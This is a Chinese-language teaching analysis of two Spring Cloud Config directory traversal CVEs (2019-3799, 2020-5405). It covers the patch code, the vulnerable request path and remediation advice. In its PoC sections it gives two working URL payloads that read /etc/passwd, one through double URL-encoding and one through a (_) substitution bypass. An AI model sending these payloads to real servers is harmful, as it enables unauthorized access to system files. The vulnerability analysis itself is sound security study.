Spring Cloud Config 目录穿越漏洞分析教学文档
漏洞概述
本文档详细分析Spring Cloud Config中的两个目录穿越漏洞:CVE-2019-3799和CVE-2020-5405。这两个漏洞都允许攻击者通过精心构造的URL路径读取服务器上的任意文件。
CVE-2019-3799分析
漏洞原理
该漏洞存在于Spring Cloud Config Server的文件资源检索功能中,由于对用户提供的路径参数未进行充分验证,导致可以通过路径遍历读取系统任意文件。
补丁分析
补丁位置: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2
补丁主要增加了两个安全检测函数:
isInvalidEncodedPath- 检测URL编码的路径
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// 使用URLDecoder解码以保留潜在的UTF-8字符
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
} catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// 不应该发生...
}
}
return false;
}
isInvalidPath- 检测路径中的危险字符
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn("Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]");
}
return true;
}
return false;
}
漏洞利用点
漏洞主要出现在findOne方法中,通过回溯调用链:
retrieve方法处理HTTP请求:
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, HttpServletRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(name, profile, label, path, resolvePlaceholders);
}
-
path参数完全可控,来自URL中的**部分 -
最终在文件读取时,浏览器和
openConnection会各进行一次URL解码,导致双重解码漏洞
POC构造
利用双重解码特性构造payload:
http://127.0.0.1:8888/aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
解码过程:
- 第一次解码:
%25->% - 第二次解码:
%2F->/
最终得到路径:../../../../../../../../../../../etc/passwd
CVE-2020-5405分析
漏洞原理
这是对CVE-2019-3799的绕过,利用了Spring Cloud Config对(_)的特殊处理机制。
补丁分析
补丁位置: https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0
补丁扩展了检测范围,不仅检测path参数,还检测整个路径。
漏洞利用点
- 发现
name和label中的(_)会被替换为/:
if (name != null && name.contains("(_)")) {
name = name.replace("(_)", "/");
}
if (label != null && label.contains("(_)")) {
label = label.replace("(_)", "/");
}
- 构造特殊label实现路径穿越:
http://127.0.0.1:8888/aaaa/aaaa/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%65%74%63/passwd
解码后label变为:..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc
替换后变为:../../../../../../../../../etc
配置绕过
默认配置使用MultipleJGitEnvironmentRepository会触发checkout异常,需要通过配置改为本地文件系统模式:
application.properties配置:
spring.profiles.active=native
spring.cloud.config.server.native.search-locations=file:/path/to/directory
这样会使用NativeEnvironmentRepository,直接读取本地文件而不进行git操作。
漏洞修复建议
- 升级到已修复版本
- 严格限制配置服务器的访问权限
- 避免在search-locations中使用敏感目录
总结
这两个漏洞展示了路径处理中的常见安全问题:
- 双重解码导致的路径遍历
- 特殊字符替换导致的路径拼接问题
- 不同配置模式下的安全差异
开发时应特别注意路径处理中的编码问题和特殊字符替换逻辑。